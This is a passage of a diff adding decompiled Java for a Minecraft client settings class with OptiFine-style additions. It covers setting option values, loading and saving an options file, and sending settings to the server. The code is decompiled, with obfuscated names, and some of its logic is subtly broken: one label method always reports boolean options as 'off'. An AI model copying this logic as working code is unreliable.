+    if (p_74304_1_ == Options.CHAT_HEIGHT_UNFOCUSED)
+    {
+      chatHeightUnfocused = p_74304_2_;
+      mc.ingameGUI.getChatGUI().refreshChat();
+    }
+    
+    if (p_74304_1_ == Options.CHAT_WIDTH)
+    {
+      chatWidth = p_74304_2_;
+      mc.ingameGUI.getChatGUI().refreshChat();
+    }
+    
+    if (p_74304_1_ == Options.CHAT_SCALE)
+    {
+      chatScale = p_74304_2_;
+      mc.ingameGUI.getChatGUI().refreshChat();
+    }
+    
+    if (p_74304_1_ == Options.MIPMAP_LEVELS)
+    {
+      int var3 = mipmapLevels;
+      mipmapLevels = ((int)p_74304_2_);
+      
+      if (var3 != p_74304_2_)
+      {
+        mc.getTextureMapBlocks().setMipmapLevels(mipmapLevels);
+        mc.getTextureManager().bindTexture(TextureMap.locationBlocksTexture);
+        mc.getTextureMapBlocks().func_174937_a(false, mipmapLevels > 0);
+        mc.func_175603_A();
+      }
+    }
+    
+    if (p_74304_1_ == Options.BLOCK_ALTERNATIVES)
+    {
+      field_178880_u = (!field_178880_u);
+      mc.renderGlobal.loadRenderers();
+    }
+    
+    if (p_74304_1_ == Options.RENDER_DISTANCE)
+    {
+      renderDistanceChunks = ((int)p_74304_2_);
+      mc.renderGlobal.func_174979_m();
+    }
+    
+    if (p_74304_1_ == Options.STREAM_BYTES_PER_PIXEL)
+    {
+      streamBytesPerPixel = p_74304_2_;
+    }
+    
+    if (p_74304_1_ == Options.STREAM_VOLUME_MIC)
+    {
+      streamMicVolume = p_74304_2_;
+      mc.getTwitchStream().func_152915_s();
+    }
+    
+    if (p_74304_1_ == Options.STREAM_VOLUME_SYSTEM)
+    {
+      streamGameVolume = p_74304_2_;
+      mc.getTwitchStream().func_152915_s();
+    }
+    
+    if (p_74304_1_ == Options.STREAM_KBPS)
+    {
+      streamKbps = p_74304_2_;
+    }
+    
+    if (p_74304_1_ == Options.STREAM_FPS)
+    {
+      streamFps = p_74304_2_;
+    }
+  }
+  
+
+
+
+  public void setOptionValue(Options p_74306_1_, int p_74306_2_)
+  {
+    setOptionValueOF(p_74306_1_, p_74306_2_);
+    
+    if (p_74306_1_ == Options.INVERT_MOUSE)
+    {
+      invertMouse = (!invertMouse);
+    }
+    
+    if (p_74306_1_ == Options.GUI_SCALE)
+    {
+      guiScale = (guiScale + p_74306_2_ & 0x3);
+    }
+    
+    if (p_74306_1_ == Options.PARTICLES)
+    {
+      particleSetting = ((particleSetting + p_74306_2_) % 3);
+    }
+    
+    if (p_74306_1_ == Options.VIEW_BOBBING)
+    {
+      viewBobbing = (!viewBobbing);
+    }
+    
+    if (p_74306_1_ == Options.RENDER_CLOUDS)
+    {
+      clouds = (!clouds);
+    }
+    
+    if (p_74306_1_ == Options.FORCE_UNICODE_FONT)
+    {
+      forceUnicodeFont = (!forceUnicodeFont);
+      mc.fontRendererObj.setUnicodeFlag((mc.getLanguageManager().isCurrentLocaleUnicode()) || (forceUnicodeFont));
+    }
+    
+    if (p_74306_1_ == Options.FBO_ENABLE)
+    {
+      fboEnable = (!fboEnable);
+    }
+    
+    if (p_74306_1_ == Options.ANAGLYPH)
+    {
+      anaglyph = (!anaglyph);
+      mc.refreshResources();
+    }
+    
+    if (p_74306_1_ == Options.GRAPHICS)
+    {
+      fancyGraphics = (!fancyGraphics);
+      updateRenderClouds();
+      mc.renderGlobal.loadRenderers();
+    }
+    
+    if (p_74306_1_ == Options.AMBIENT_OCCLUSION)
+    {
+      ambientOcclusion = ((ambientOcclusion + p_74306_2_) % 3);
+      mc.renderGlobal.loadRenderers();
+    }
+    
+    if (p_74306_1_ == Options.CHAT_VISIBILITY)
+    {
+      chatVisibility = EntityPlayer.EnumChatVisibility.getEnumChatVisibility((chatVisibility.getChatVisibility() + p_74306_2_) % 3);
+    }
+    
+    if (p_74306_1_ == Options.STREAM_COMPRESSION)
+    {
+      streamCompression = ((streamCompression + p_74306_2_) % 3);
+    }
+    
+    if (p_74306_1_ == Options.STREAM_SEND_METADATA)
+    {
+      streamSendMetadata = (!streamSendMetadata);
+    }
+    
+    if (p_74306_1_ == Options.STREAM_CHAT_ENABLED)
+    {
+      streamChatEnabled = ((streamChatEnabled + p_74306_2_) % 3);
+    }
+    
+    if (p_74306_1_ == Options.STREAM_CHAT_USER_FILTER)
+    {
+      streamChatUserFilter = ((streamChatUserFilter + p_74306_2_) % 3);
+    }
+    
+    if (p_74306_1_ == Options.STREAM_MIC_TOGGLE_BEHAVIOR)
+    {
+      streamMicToggleBehavior = ((streamMicToggleBehavior + p_74306_2_) % 2);
+    }
+    
+    if (p_74306_1_ == Options.CHAT_COLOR)
+    {
+      chatColours = (!chatColours);
+    }
+    
+    if (p_74306_1_ == Options.CHAT_LINKS)
+    {
+      chatLinks = (!chatLinks);
+    }
+    
+    if (p_74306_1_ == Options.CHAT_LINKS_PROMPT)
+    {
+      chatLinksPrompt = (!chatLinksPrompt);
+    }
+    
+    if (p_74306_1_ == Options.SNOOPER_ENABLED)
+    {
+      snooperEnabled = (!snooperEnabled);
+    }
+    
+    if (p_74306_1_ == Options.TOUCHSCREEN)
+    {
+      touchscreen = (!touchscreen);
+    }
+    
+    if (p_74306_1_ == Options.USE_FULLSCREEN)
+    {
+      fullScreen = (!fullScreen);
+      
+      if (mc.isFullScreen() != fullScreen)
+      {
+        mc.toggleFullscreen();
+      }
+    }
+    
+    if (p_74306_1_ == Options.ENABLE_VSYNC)
+    {
+      enableVsync = (!enableVsync);
+      Display.setVSyncEnabled(enableVsync);
+    }
+    
+    if (p_74306_1_ == Options.USE_VBO)
+    {
+      field_178881_t = (!field_178881_t);
+      mc.renderGlobal.loadRenderers();
+    }
+    
+    if (p_74306_1_ == Options.BLOCK_ALTERNATIVES)
+    {
+      field_178880_u = (!field_178880_u);
+      mc.renderGlobal.loadRenderers();
+    }
+    
+    if (p_74306_1_ == Options.REDUCED_DEBUG_INFO)
+    {
+      field_178879_v = (!field_178879_v);
+    }
+    
+    saveOptions();
+  }
+  
+  public float getOptionFloatValue(Options p_74296_1_)
+  {
+    return p_74296_1_ == Options.STREAM_FPS ? streamFps : p_74296_1_ == Options.STREAM_KBPS ? streamKbps : p_74296_1_ == Options.STREAM_VOLUME_SYSTEM ? streamGameVolume : p_74296_1_ == Options.STREAM_VOLUME_MIC ? streamMicVolume : p_74296_1_ == Options.STREAM_BYTES_PER_PIXEL ? streamBytesPerPixel : p_74296_1_ == Options.RENDER_DISTANCE ? renderDistanceChunks : p_74296_1_ == Options.MIPMAP_LEVELS ? mipmapLevels : p_74296_1_ == Options.FRAMERATE_LIMIT ? limitFramerate : p_74296_1_ == Options.CHAT_WIDTH ? chatWidth : p_74296_1_ == Options.CHAT_SCALE ? chatScale : p_74296_1_ == Options.CHAT_HEIGHT_UNFOCUSED ? chatHeightUnfocused : p_74296_1_ == Options.CHAT_HEIGHT_FOCUSED ? chatHeightFocused : p_74296_1_ == Options.CHAT_OPACITY ? chatOpacity : p_74296_1_ == Options.SENSITIVITY ? mouseSensitivity : p_74296_1_ == Options.SATURATION ? saturation : p_74296_1_ == Options.GAMMA ? gammaSetting : p_74296_1_ == Options.FOV ? fovSetting : p_74296_1_ == Options.FRAMERATE_LIMIT ? limitFramerate : (limitFramerate == Options.FRAMERATE_LIMIT.getValueMax()) && (enableVsync) ? 0.0F : p_74296_1_ == Options.MIPMAP_TYPE ? ofMipmapType : p_74296_1_ == Options.AF_LEVEL ? ofAfLevel : p_74296_1_ == Options.AA_LEVEL ? ofAaLevel : p_74296_1_ == Options.AO_LEVEL ? ofAoLevel : p_74296_1_ == Options.CLOUD_HEIGHT ? ofCloudsHeight : 0.0F;
+  }
+  
+  public boolean getOptionOrdinalValue(Options p_74308_1_)
+  {
+    switch (SwitchOptions.optionIds[p_74308_1_.ordinal()])
+    {
+    case 1: 
+      return invertMouse;
+    
+    case 2: 
+      return viewBobbing;
+    
+    case 3: 
+      return anaglyph;
+    
+    case 4: 
+      return fboEnable;
+    
+    case 5: 
+      return clouds;
+    
+    case 6: 
+      return chatColours;
+    
+    case 7: 
+      return chatLinks;
+    
+    case 8: 
+      return chatLinksPrompt;
+    
+    case 9: 
+      return snooperEnabled;
+    
+    case 10: 
+      return fullScreen;
+    
+    case 11: 
+      return enableVsync;
+    
+    case 12: 
+      return field_178881_t;
+    
+    case 13: 
+      return touchscreen;
+    
+    case 14: 
+      return streamSendMetadata;
+    
+    case 15: 
+      return forceUnicodeFont;
+    
+    case 16: 
+      return field_178880_u;
+    
+    case 17: 
+      return field_178879_v;
+    }
+    
+    return false;
+  }
+  
+
+
+
+
+
+  private static String getTranslation(String[] p_74299_0_, int p_74299_1_)
+  {
+    if ((p_74299_1_ < 0) || (p_74299_1_ >= p_74299_0_.length))
+    {
+      p_74299_1_ = 0;
+    }
+    
+    return I18n.format(p_74299_0_[p_74299_1_], new Object[0]);
+  }
+  
+
+
+
+  public String getKeyBinding(Options p_74297_1_)
+  {
+    String strOF = getKeyBindingOF(p_74297_1_);
+    
+    if (strOF != null)
+    {
+      return strOF;
+    }
+    
+
+    String var2 = I18n.format(p_74297_1_.getEnumString(), new Object[0]) + ": ";
+    
+    if (p_74297_1_.getEnumFloat())
+    {
+      float var32 = getOptionFloatValue(p_74297_1_);
+      float var4 = p_74297_1_.normalizeValue(var32);
+      return var2 + (int)(var4 * 100.0F) + "%";
+    }
+    if (p_74297_1_.getEnumBoolean())
+    {
+      boolean var31 = getOptionOrdinalValue(p_74297_1_);
+      return var2 + I18n.format("options.off", new Object[0]);
+    }
+    if (p_74297_1_ == Options.GUI_SCALE)
+    {
+      return var2 + getTranslation(GUISCALES, guiScale);
+    }
+    if (p_74297_1_ == Options.CHAT_VISIBILITY)
+    {
+      return var2 + I18n.format(chatVisibility.getResourceKey(), new Object[0]);
+    }
+    if (p_74297_1_ == Options.PARTICLES)
+    {
+      return var2 + getTranslation(PARTICLES, particleSetting);
+    }
+    if (p_74297_1_ == Options.AMBIENT_OCCLUSION)
+    {
+      return var2 + getTranslation(AMBIENT_OCCLUSIONS, ambientOcclusion);
+    }
+    if (p_74297_1_ == Options.STREAM_COMPRESSION)
+    {
+      return var2 + getTranslation(STREAM_COMPRESSIONS, streamCompression);
+    }
+    if (p_74297_1_ == Options.STREAM_CHAT_ENABLED)
+    {
+      return var2 + getTranslation(STREAM_CHAT_MODES, streamChatEnabled);
+    }
+    if (p_74297_1_ == Options.STREAM_CHAT_USER_FILTER)
+    {
+      return var2 + getTranslation(STREAM_CHAT_FILTER_MODES, streamChatUserFilter);
+    }
+    if (p_74297_1_ == Options.STREAM_MIC_TOGGLE_BEHAVIOR)
+    {
+      return var2 + getTranslation(STREAM_MIC_MODES, streamMicToggleBehavior);
+    }
+    if (p_74297_1_ == Options.GRAPHICS)
+    {
+      if (fancyGraphics)
+      {
+        return var2 + I18n.format("options.graphics.fancy", new Object[0]);
+      }
+      
+
+      String var3 = "options.graphics.fast";
+      return var2 + I18n.format("options.graphics.fast", new Object[0]);
+    }
+    
+
+
+    return var2;
+  }
+  
+
+
+
+
+
+  public void loadOptions()
+  {
+    try
+    {
+      if (!optionsFile.exists())
+      {
+        return;
+      }
+      
+      BufferedReader var9 = new BufferedReader(new FileReader(optionsFile));
+      String var2 = "";
+      mapSoundLevels.clear();
+      
+      while ((var2 = var9.readLine()) != null)
+      {
+        try
+        {
+          String[] var8 = var2.split(":");
+          
+          if (var8[0].equals("mouseSensitivity"))
+          {
+            mouseSensitivity = parseFloat(var8[1]);
+          }
+          
+          if (var8[0].equals("fov"))
+          {
+            fovSetting = (parseFloat(var8[1]) * 40.0F + 70.0F);
+          }
+          
+          if (var8[0].equals("gamma"))
+          {
+            gammaSetting = parseFloat(var8[1]);
+          }
+          
+          if (var8[0].equals("saturation"))
+          {
+            saturation = parseFloat(var8[1]);
+          }
+          
+          if (var8[0].equals("invertYMouse"))
+          {
+            invertMouse = var8[1].equals("true");
+          }
+          
+          if (var8[0].equals("renderDistance"))
+          {
+            renderDistanceChunks = Integer.parseInt(var8[1]);
+          }
+          
+          if (var8[0].equals("guiScale"))
+          {
+            guiScale = Integer.parseInt(var8[1]);
+          }
+          
+          if (var8[0].equals("particles"))
+          {
+            particleSetting = Integer.parseInt(var8[1]);
+          }
+          
+          if (var8[0].equals("bobView"))
+          {
+            viewBobbing = var8[1].equals("true");
+          }
+          
+          if (var8[0].equals("anaglyph3d"))
+          {
+            anaglyph = var8[1].equals("true");
+          }
+          
+          if (var8[0].equals("maxFps"))
+          {
+            limitFramerate = Integer.parseInt(var8[1]);
+            enableVsync = false;
+            
+            if (limitFramerate <= 0)
+            {
+              limitFramerate = ((int)Options.FRAMERATE_LIMIT.getValueMax());
+              enableVsync = true;
+            }
+            
+            updateVSync();
+          }
+          
+          if (var8[0].equals("fboEnable"))
+          {
+            fboEnable = var8[1].equals("true");
+          }
+          
+          if (var8[0].equals("difficulty"))
+          {
+            difficulty = EnumDifficulty.getDifficultyEnum(Integer.parseInt(var8[1]));
+          }
+          
+          if (var8[0].equals("fancyGraphics"))
+          {
+            fancyGraphics = var8[1].equals("true");
+            updateRenderClouds();
+          }
+          
+          if (var8[0].equals("ao"))
+          {
+            if (var8[1].equals("true"))
+            {
+              ambientOcclusion = 2;
+            }
+            else if (var8[1].equals("false"))
+            {
+              ambientOcclusion = 0;
+            }
+            else
+            {
+              ambientOcclusion = Integer.parseInt(var8[1]);
+            }
+          }
+          
+          if (var8[0].equals("renderClouds"))
+          {
+            clouds = var8[1].equals("true");
+          }
+          
+          if (var8[0].equals("resourcePacks"))
+          {
+            resourcePacks = ((List)gson.fromJson(var2.substring(var2.indexOf(':') + 1), typeListString));
+            
+            if (resourcePacks == null)
+            {
+              resourcePacks = Lists.newArrayList();
+            }
+          }
+          
+          if ((var8[0].equals("lastServer")) && (var8.length >= 2))
+          {
+            lastServer = var2.substring(var2.indexOf(':') + 1);
+          }
+          
+          if ((var8[0].equals("lang")) && (var8.length >= 2))
+          {
+            language = var8[1];
+          }
+          
+          if (var8[0].equals("chatVisibility"))
+          {
+            chatVisibility = EntityPlayer.EnumChatVisibility.getEnumChatVisibility(Integer.parseInt(var8[1]));
+          }
+          
+          if (var8[0].equals("chatColors"))
+          {
+            chatColours = var8[1].equals("true");
+          }
+          
+          if (var8[0].equals("chatLinks"))
+          {
+            chatLinks = var8[1].equals("true");
+          }
+          
+          if (var8[0].equals("chatLinksPrompt"))
+          {
+            chatLinksPrompt = var8[1].equals("true");
+          }
+          
+          if (var8[0].equals("chatOpacity"))
+          {
+            chatOpacity = parseFloat(var8[1]);
+          }
+          
+          if (var8[0].equals("snooperEnabled"))
+          {
+            snooperEnabled = var8[1].equals("true");
+          }
+          
+          if (var8[0].equals("fullscreen"))
+          {
+            fullScreen = var8[1].equals("true");
+          }
+          
+          if (var8[0].equals("enableVsync"))
+          {
+            enableVsync = var8[1].equals("true");
+            updateVSync();
+          }
+          
+          if (var8[0].equals("useVbo"))
+          {
+            field_178881_t = var8[1].equals("true");
+          }
+          
+          if (var8[0].equals("hideServerAddress"))
+          {
+            hideServerAddress = var8[1].equals("true");
+          }
+          
+          if (var8[0].equals("advancedItemTooltips"))
+          {
+            advancedItemTooltips = var8[1].equals("true");
+          }
+          
+          if (var8[0].equals("pauseOnLostFocus"))
+          {
+            pauseOnLostFocus = var8[1].equals("true");
+          }
+          
+          if (var8[0].equals("touchscreen"))
+          {
+            touchscreen = var8[1].equals("true");
+          }
+          
+          if (var8[0].equals("overrideHeight"))
+          {
+            overrideHeight = Integer.parseInt(var8[1]);
+          }
+          
+          if (var8[0].equals("overrideWidth"))
+          {
+            overrideWidth = Integer.parseInt(var8[1]);
+          }
+          
+          if (var8[0].equals("heldItemTooltips"))
+          {
+            heldItemTooltips = var8[1].equals("true");
+          }
+          
+          if (var8[0].equals("chatHeightFocused"))
+          {
+            chatHeightFocused = parseFloat(var8[1]);
+          }
+          
+          if (var8[0].equals("chatHeightUnfocused"))
+          {
+            chatHeightUnfocused = parseFloat(var8[1]);
+          }
+          
+          if (var8[0].equals("chatScale"))
+          {
+            chatScale = parseFloat(var8[1]);
+          }
+          
+          if (var8[0].equals("chatWidth"))
+          {
+            chatWidth = parseFloat(var8[1]);
+          }
+          
+          if (var8[0].equals("showInventoryAchievementHint"))
+          {
+            showInventoryAchievementHint = var8[1].equals("true");
+          }
+          
+          if (var8[0].equals("mipmapLevels"))
+          {
+            mipmapLevels = Integer.parseInt(var8[1]);
+          }
+          
+          if (var8[0].equals("streamBytesPerPixel"))
+          {
+            streamBytesPerPixel = parseFloat(var8[1]);
+          }
+          
+          if (var8[0].equals("streamMicVolume"))
+          {
+            streamMicVolume = parseFloat(var8[1]);
+          }
+          
+          if (var8[0].equals("streamSystemVolume"))
+          {
+            streamGameVolume = parseFloat(var8[1]);
+          }
+          
+          if (var8[0].equals("streamKbps"))
+          {
+            streamKbps = parseFloat(var8[1]);
+          }
+          
+          if (var8[0].equals("streamFps"))
+          {
+            streamFps = parseFloat(var8[1]);
+          }
+          
+          if (var8[0].equals("streamCompression"))
+          {
+            streamCompression = Integer.parseInt(var8[1]);
+          }
+          
+          if (var8[0].equals("streamSendMetadata"))
+          {
+            streamSendMetadata = var8[1].equals("true");
+          }
+          
+          if ((var8[0].equals("streamPreferredServer")) && (var8.length >= 2))
+          {
+            streamPreferredServer = var2.substring(var2.indexOf(':') + 1);
+          }
+          
+          if (var8[0].equals("streamChatEnabled"))
+          {
+            streamChatEnabled = Integer.parseInt(var8[1]);
+          }
+          
+          if (var8[0].equals("streamChatUserFilter"))
+          {
+            streamChatUserFilter = Integer.parseInt(var8[1]);
+          }
+          
+          if (var8[0].equals("streamMicToggleBehavior"))
+          {
+            streamMicToggleBehavior = Integer.parseInt(var8[1]);
+          }
+          
+          if (var8[0].equals("forceUnicodeFont"))
+          {
+            forceUnicodeFont = var8[1].equals("true");
+          }
+          
+          if (var8[0].equals("allowBlockAlternatives"))
+          {
+            field_178880_u = var8[1].equals("true");
+          }
+          
+          if (var8[0].equals("reducedDebugInfo"))
+          {
+            field_178879_v = var8[1].equals("true");
+          }
+          
+          KeyBinding[] var4 = keyBindings;
+          int var5 = var4.length;
+          
+
+          for (int var6 = 0; var6 < var5; var6++)
+          {
+            KeyBinding var10 = var4[var6];
+            
+            if (var8[0].equals("key_" + var10.getKeyDescription()))
+            {
+              var10.setKeyCode(Integer.parseInt(var8[1]));
+            }
+          }
+          
+          SoundCategory[] var12 = SoundCategory.values();
+          var5 = var12.length;
+          
+          for (var6 = 0; var6 < var5; var6++)
+          {
+            SoundCategory var11 = var12[var6];
+            
+            if (var8[0].equals("soundCategory_" + var11.getCategoryName()))
+            {
+              mapSoundLevels.put(var11, Float.valueOf(parseFloat(var8[1])));
+            }
+          }
+          
+          EnumPlayerModelParts[] var131 = EnumPlayerModelParts.values();
+          var5 = var131.length;
+          
+          for (var6 = 0; var6 < var5; var6++)
+          {
+            EnumPlayerModelParts var13 = var131[var6];
+            
+            if (var8[0].equals("modelPart_" + var13.func_179329_c()))
+            {
+              func_178878_a(var13, var8[1].equals("true"));
+            }
+          }
+        }
+        catch (Exception var101)
+        {
+          logger.warn("Skipping bad option: " + var2);
+          var101.printStackTrace();
+        }
+      }
+      
+      KeyBinding.resetKeyBindingArrayAndHash();
+      var9.close();
+    }
+    catch (Exception var111)
+    {
+      logger.error("Failed to load options", var111);
+    }
+    
+    loadOfOptions();
+  }
+  
+
+
+
+  private float parseFloat(String p_74305_1_)
+  {
+    return p_74305_1_.equals("false") ? 0.0F : p_74305_1_.equals("true") ? 1.0F : Float.parseFloat(p_74305_1_);
+  }
+  
+
+
+
+  public void saveOptions()
+  {
+    if (Reflector.FMLClientHandler.exists())
+    {
+      Object var6 = Reflector.call(Reflector.FMLClientHandler_instance, new Object[0]);
+      
+      if ((var6 != null) && (Reflector.callBoolean(var6, Reflector.FMLClientHandler_isLoading, new Object[0])))
+      {
+        return;
+      }
+    }
+    
+    try
+    {
+      PrintWriter var9 = new PrintWriter(new FileWriter(optionsFile));
+      var9.println("invertYMouse:" + invertMouse);
+      var9.println("mouseSensitivity:" + mouseSensitivity);
+      var9.println("fov:" + (fovSetting - 70.0F) / 40.0F);
+      var9.println("gamma:" + gammaSetting);
+      var9.println("saturation:" + saturation);
+      var9.println("renderDistance:" + renderDistanceChunks);
+      var9.println("guiScale:" + guiScale);
+      var9.println("particles:" + particleSetting);
+      var9.println("bobView:" + viewBobbing);
+      var9.println("anaglyph3d:" + anaglyph);
+      var9.println("maxFps:" + limitFramerate);
+      var9.println("fboEnable:" + fboEnable);
+      var9.println("difficulty:" + difficulty.getDifficultyId());
+      var9.println("fancyGraphics:" + fancyGraphics);
+      var9.println("ao:" + ambientOcclusion);
+      var9.println("renderClouds:" + clouds);
+      var9.println("resourcePacks:" + gson.toJson(resourcePacks));
+      var9.println("lastServer:" + lastServer);
+      var9.println("lang:" + language);
+      var9.println("chatVisibility:" + chatVisibility.getChatVisibility());
+      var9.println("chatColors:" + chatColours);
+      var9.println("chatLinks:" + chatLinks);
+      var9.println("chatLinksPrompt:" + chatLinksPrompt);
+      var9.println("chatOpacity:" + chatOpacity);
+      var9.println("snooperEnabled:" + snooperEnabled);
+      var9.println("fullscreen:" + fullScreen);
+      var9.println("enableVsync:" + enableVsync);
+      var9.println("useVbo:" + field_178881_t);
+      var9.println("hideServerAddress:" + hideServerAddress);
+      var9.println("advancedItemTooltips:" + advancedItemTooltips);
+      var9.println("pauseOnLostFocus:" + pauseOnLostFocus);
+      var9.println("touchscreen:" + touchscreen);
+      var9.println("overrideWidth:" + overrideWidth);
+      var9.println("overrideHeight:" + overrideHeight);
+      var9.println("heldItemTooltips:" + heldItemTooltips);
+      var9.println("chatHeightFocused:" + chatHeightFocused);
+      var9.println("chatHeightUnfocused:" + chatHeightUnfocused);
+      var9.println("chatScale:" + chatScale);
+      var9.println("chatWidth:" + chatWidth);
+      var9.println("showInventoryAchievementHint:" + showInventoryAchievementHint);
+      var9.println("mipmapLevels:" + mipmapLevels);
+      var9.println("streamBytesPerPixel:" + streamBytesPerPixel);
+      var9.println("streamMicVolume:" + streamMicVolume);
+      var9.println("streamSystemVolume:" + streamGameVolume);
+      var9.println("streamKbps:" + streamKbps);
+      var9.println("streamFps:" + streamFps);
+      var9.println("streamCompression:" + streamCompression);
+      var9.println("streamSendMetadata:" + streamSendMetadata);
+      var9.println("streamPreferredServer:" + streamPreferredServer);
+      var9.println("streamChatEnabled:" + streamChatEnabled);
+      var9.println("streamChatUserFilter:" + streamChatUserFilter);
+      var9.println("streamMicToggleBehavior:" + streamMicToggleBehavior);
+      var9.println("forceUnicodeFont:" + forceUnicodeFont);
+      var9.println("allowBlockAlternatives:" + field_178880_u);
+      var9.println("reducedDebugInfo:" + field_178879_v);
+      KeyBinding[] var2 = keyBindings;
+      int var3 = var2.length;
+      
+
+      for (int var4 = 0; var4 < var3; var4++)
+      {
+        KeyBinding var7 = var2[var4];
+        var9.println("key_" + var7.getKeyDescription() + ":" + var7.getKeyCode());
+      }
+      
+      SoundCategory[] var101 = SoundCategory.values();
+      var3 = var101.length;
+      
+      for (var4 = 0; var4 < var3; var4++)
+      {
+        SoundCategory var8 = var101[var4];
+        var9.println("soundCategory_" + var8.getCategoryName() + ":" + getSoundLevel(var8));
+      }
+      
+      EnumPlayerModelParts[] var11 = EnumPlayerModelParts.values();
+      var3 = var11.length;
+      
+      for (var4 = 0; var4 < var3; var4++)
+      {
+        EnumPlayerModelParts var10 = var11[var4];
+        var9.println("modelPart_" + var10.func_179329_c() + ":" + field_178882_aU.contains(var10));
+      }
+      
+      var9.close();
+    }
+    catch (Exception var81)
+    {
+      logger.error("Failed to save options", var81);
+    }
+    
+    saveOfOptions();
+    sendSettingsToServer();
+  }
+  
+  public float getSoundLevel(SoundCategory p_151438_1_)
+  {
+    return mapSoundLevels.containsKey(p_151438_1_) ? ((Float)mapSoundLevels.get(p_151438_1_)).floatValue() : 1.0F;
+  }
+  
+  public void setSoundLevel(SoundCategory p_151439_1_, float p_151439_2_)
+  {
+    mc.getSoundHandler().setSoundLevel(p_151439_1_, p_151439_2_);
+    mapSoundLevels.put(p_151439_1_, Float.valueOf(p_151439_2_));
+  }
+  
+
+
+
+  public void sendSettingsToServer()
+  {
+    if (mc.thePlayer != null)
+    {
+      int var1 = 0;
+      
+      EnumPlayerModelParts var3;
+      for (Iterator var2 = field_178882_aU.iterator(); var2.hasNext(); var1 |= var3.func_179327_a())
+      {
+        var3 = (EnumPlayerModelParts)var2.next();
+      }
+      
+      mc.thePlayer.sendQueue.addToSendQueue(new net.minecraft.network.play.client.C15PacketClientSettings(language, renderDistanceChunks, chatVisibility, chatColours, var1));
+    }
+  }
+  
+  public Set func_178876_d()
+  {
+    return com.google.common.collect.ImmutableSet.copyOf(field_178882_aU);
+  }
+  
+  public void func_178878_a(EnumPlayerModelParts p_178878_1_, boolean p_178878_2_)
+  {
+    if (p_178878_2_)
+    {
+      field_178882_aU.add(p_178878_1_);
+    }
+    else
+    {
+      field_178882_aU.remove(p_178878_1_);
+    }
+    
+    sendSettingsToServer();
+  }
+  
+  public void func_178877_a(EnumPlayerModelParts p_178877_1_)
+  {
+    if (!func_178876_d().contains(p_178877_1_))
+    {
+      field_178882_aU.add(p_178877_1_);
+    }
+    else
+    {
+      field_178882_aU.remove(p_178877_1_);
+    }
+    
+    sendSettingsToServer();
+  }
+  
+
+
+
+  public boolean shouldRenderClouds()
+  {
+    return (renderDistanceChunks >= 4) && (clouds);
+  }
+  
+  private void setOptionFloatValueOF(Options option, float val)
+  {
+    if (option == Options.CLOUD_HEIGHT)
+    {
+      ofCloudsHeight = val;
+      mc.renderGlobal.resetClouds();
+    }
+    
+    if (option == Options.AO_LEVEL)
+    {
+      ofAoLevel = val;
+      mc.renderGlobal.loadRenderers();
+    }
+    
+
+
+    if (option == Options.AA_LEVEL)
+    {
+      int valInt = (int)val;
+      
+      if ((valInt > 0) && (Config.isShaders()))
+      {
+        Config.showGuiMessage(Lang.get("of.message.aa.shaders1"), Lang.get("of.message.aa.shaders2"));
+        return;
+      }
+      
+      int[] aaLevels = { 0, 2, 4, 6, 8, 12, 16 };
+      ofAaLevel = 0;
+      
+      for (int l = 0; l < aaLevels.length; l++)
+      {
+        if (valInt >= aaLevels[l])
+        {
+          ofAaLevel = aaLevels[l];
+        }
+      }
+      
+      ofAaLevel = Config.limit(ofAaLevel, 0, 16);
+    }
+    
+    if (option == Options.AF_LEVEL)
+    {
+      int valInt = (int)val;
+      
+      if ((valInt > 1) && (Config.isShaders()))
+      {
+        Config.showGuiMessage(Lang.get("of.message.af.shaders1"), Lang.get("of.message.af.shaders2"));
+        return;
+      }
+      
+      for (ofAfLevel = 1; ofAfLevel * 2 <= valInt; ofAfLevel *= 2) {}
+      
+
+
+
+      ofAfLevel = Config.limit(ofAfLevel, 1, 16);
+      mc.refreshResources();
+    }
+    
+    if (option == Options.MIPMAP_TYPE)
+    {
+      int valInt = (int)val;
+      ofMipmapType = Config.limit(valInt, 0, 3);
+      mc.refreshResources();
+    }
+  }
+  
+  private void setOptionValueOF(Options par1EnumOptions, int par2)
+  {
+    if (par1EnumOptions == Options.FOG_FANCY)
+    {
+      switch (ofFogType)
+      {
+      case 1: 
+        ofFogType = 2;
+        
+        if (!Config.isFancyFogAvailable())
+        {
+          ofFogType = 3;
+        }
+        
+        break;
+      
+      case 2: 
+        ofFogType = 3;
+        break;
+      
+      case 3: 
+        ofFogType = 1;
+        break;
+      
+      default: 
+        ofFogType = 1;
+      }
+      
+    }
+    if (par1EnumOptions == Options.FOG_START)
+    {
+      ofFogStart += 0.2F;
+      
+      if (ofFogStart > 0.81F)
+      {
+        ofFogStart = 0.2F;
+      }
+    }
+    
+    if (par1EnumOptions == Options.SMOOTH_FPS)
+    {
+      ofSmoothFps = (!ofSmoothFps);
+    }
+    
+    if (par1EnumOptions == Options.SMOOTH_WORLD)
+    {
+      ofSmoothWorld = (!ofSmoothWorld);
+      Config.updateThreadPriorities();
+    }
+    
+    if (par1EnumOptions == Options.CLOUDS)
+    {
+      ofClouds += 1;
+      
+      if (ofClouds > 3)
+      {
+        ofClouds = 0;
+      }
+      
+      updateRenderClouds();
+      mc.renderGlobal.resetClouds();
+    }
+    
+    if (par1EnumOptions == Options.TREES)
+    {
+      ofTrees = nextValue(ofTrees, OF_TREES_VALUES);
+      mc.renderGlobal.loadRenderers();
+    }
+    
+    if (par1EnumOptions == Options.DROPPED_ITEMS)
+    {
+      ofDroppedItems += 1;
+      
+      if (ofDroppedItems > 2)
+      {
+        ofDroppedItems = 0;
+      }
+    }
+    
+    if (par1EnumOptions == Options.RAIN)
+    {
+      ofRain += 1;
+      
+      if (ofRain > 3)
+      {
+        ofRain = 0;
+      }
+    }
+    
+    if (par1EnumOptions == Options.ANIMATED_WATER)
+    {
+      ofAnimatedWater += 1;
+      
+      if (ofAnimatedWater == 1)
+      {
+        ofAnimatedWater += 1;
+      }
+      
+      if (ofAnimatedWater > 2)
+      {
+        ofAnimatedWater = 0;
+      }
+    }
+    
+    if (par1EnumOptions == Options.ANIMATED_LAVA)
+    {
+      ofAnimatedLava += 1;
+      
+      if (ofAnimatedLava == 1)
+      {
+        ofAnimatedLava += 1;
+      }
+      
+      if (ofAnimatedLava > 2)
+      {
+        ofAnimatedLava = 0;
+      }
+    }
+    
+    if (par1EnumOptions == Options.ANIMATED_FIRE)
+    {
+      ofAnimatedFire = (!ofAnimatedFire);
+    }
+    
+    if (par1EnumOptions == Options.ANIMATED_PORTAL)
+    {
+      ofAnimatedPortal = (!ofAnimatedPortal);
+    }
+    
+    if (par1EnumOptions == Options.ANIMATED_REDSTONE)
+    {
